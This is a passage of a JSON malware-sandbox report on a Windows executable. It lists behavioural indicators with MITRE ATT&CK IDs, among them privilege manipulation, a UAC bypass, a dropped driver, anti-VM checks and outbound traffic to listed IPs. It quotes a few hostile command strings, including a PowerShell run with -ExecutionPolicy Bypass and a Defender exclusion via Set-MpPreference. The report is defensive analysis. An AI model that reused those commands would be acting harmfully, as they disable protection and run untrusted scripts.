string)","description":"$7f","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"file/memory contains long string with (Indicator: \"CheckTokenMembership\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembershipEx\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001336.00000000.107993.359F2000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$80","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$81","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"route\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"PATH, Architecture from Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001336.00000000.107993.F2E20000.00000004.mdmp\")\n Found string \"PATH, Architecture from Win32_Processor\" (Indicator: \" Win32_Processor\"; Source: \"00000000-00001336.00000000.107993.F2E20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserDel\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00001336.00000001.108809.80A2A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"file/memory contains long string with (Indicator: \"changeserviceconfigw\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKey (in long string)\" in file \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\"\n Found registry deletion API: \"RegDeleteValue (in long string)\" in file \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001336.00000000.107993.F5220000.00000004.mdmp, 00000000-00001336.00000001.108809.F5220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"file/memory contains long string with (Indicator: \"CoGetObject\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"file/memory contains long string with (Indicator: \"WTSQueryUserToken\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"ImpersonateLoggedOnUser\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete device driver (API string)","description":"Found reference to API \"IoDeleteDevice\" (Indicator: \"IoDeleteDevice\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-463","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete device information set (API string)","description":"file/memory contains long string with (Indicator: \"SetupDiDestroyDeviceInfoList\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1485","relevance":1,"id":"string-442","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$82","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"$83","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")\n Found string \"Set-MpPreference\" (Indicator: \"Set-MpPreference\"; Source: \"00000000-00001336.00000001.108809.F594E000.00000004.mdmp\")\n Found string \"Set-MpPreference -ExclusionPath $exclusions\" (Indicator: \"Set-MpPreference\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"file/memory contains long string with (Indicator: \"CheckTokenMembership\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"LookupPrivilegeValue\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembershipEx\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"$84","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$85","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to set/delete MS-DOS device name (API string)","description":"file/memory contains long string with (Indicator: \"DefineDosDevice\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"DefineDosDeviceADefineDosDeviceWDeleteAtom\" (Indicator: \"DefineDosDevice\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"DefineDosDeviceA\" (Indicator: \"DefineDosDevice\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")\n Found reference to API \"DefineDosDeviceW\" (Indicator: \"DefineDosDevice\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-466","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$86","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"svchost.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$87","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"file/memory contains long string with (Indicator: \"ExitWindows\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"DisplayExitWindowsWarnings\" (Indicator: \"ExitWindows\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"ExcludeUpdateRgnExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"$88","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$89","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"$8a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to shellcode","description":"file/memory contains long string with (Indicator: \"shellcode\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"shellcode cannot run as file, abortingruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?stomp: in-process candidates failed\" (Indicator: \"shellcode\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"falling back to shellcode loader (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)memload: TLS note\" (Indicator: \"shellcode\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-468","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"nfpvxyybtomq.sys\" has type \"PE32+ executable for MS Windows 6.00 (native) x86-64 6 sections\"- Location: [%TEMP%\\nfpvxyybtomq.sys]- [targetUID: 00000000-00007864]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" - Location: [%APPDATA%\\Microsoft\\Edge\\Update\\Download\\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe]- [targetUID: 00000000-00003628]\n Dropped file: \"svcctrl3249_1523.exe\" - Location: [%APPDATA%\\Microsoft\\Edge\\Update\\Download\\Runtime\\svcctrl3249_1523.exe]- [targetUID: 00000000-00003628]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001336]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"remove\" (Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, API is part of module: MSVCRT.DLL)\n Found string \"WSAIoctl\" (Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, API is part of module: WS2_32.DLL)\n Found string \"ShowWindow\" (Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, API is part of module: USER32.DLL)\n Found string \"GetFileType\" (Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, API is part of module: KERNELBASE.DLL)\n Found string \"GetFileInformationByHandle\" (Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, API is part of module: KERNELBASE.DLL)\n Found string \"NtCancelWaitCompletionPacket\" (Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, API is part of module: NTDLL.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"$8b","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Redirects output to specified device/utility using PowerShell","description":"Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\\\\def.ps1 C:\\\\\\\\\"\" (UID: 00000000-00001336)","origin":"Monitored Target","relevance":1,"id":"target-485","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has section name .data with entropy \"7.931861556952278\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Environment Awareness","name":"May attempt to implement anti-virtualization techniques using MAC address detection","description":"\"00:50:56H\" (Indicator: \"00:50:56\")\n \"08:00:27H\" (Indicator: \"08:00:27\")\n \"B2-11ED-9C1B-080027605900}\" (Indicator: \"080027\")\n \"-080027605900}\" (Indicator: \"080027\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (W)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/26 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has resource with unusual entropy \"RT_ICON:7.916910923014256\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has type \"PE32+ executable for MS Windows 6.01 (GUI) x86-64 10 sections\"- Location: [%APPDATA%\\Microsoft\\Edge\\Update\\Download\\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe]- [targetUID: 00000000-00003628]\n \"svcctrl3249_1523.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections\"- Location: [%APPDATA%\\Microsoft\\Edge\\Update\\Download\\Runtime\\svcctrl3249_1523.exe]- [targetUID: 00000000-00003628]\n \"nfpvxyybtomq.sys\" has type \"PE32+ executable for MS Windows 6.00 (native) x86-64 6 sections\"- Location: [%TEMP%\\nfpvxyybtomq.sys]- [targetUID: 00000000-00007864]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$8c","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 45.32.65.138 on port 443 is sent without HTTP header\n TCP traffic to 185.199.108.133 on port 443 is sent without HTTP header\n TCP traffic to 208.167.233.7 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$8d","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"zXVbHFo\"\n \"Sid\": \"1561222988320\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_30lqontp.eln.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xaibstc0.ocl.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_30lqontp.eln.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xaibstc0.ocl.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"System Security","name":"Attempts to gain higher privileges by abusing weaknesses","description":"Process \"svchost.exe\" launched by \"svcctrl3249_1523.exe\" (UID: 00000000-00000792)","origin":"Monitored Target","mitre_attack_id":"T1068","relevance":5,"id":"target-560","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"System Security","name":"Found registry location strings which can modify COM objects","description":"Observed string: \"software\\classes\\clsid\" [Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe]","origin":"File/Memory","mitre_attack_id":"T1546.015","relevance":5,"id":"string-344","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$8e","origin":"Registry 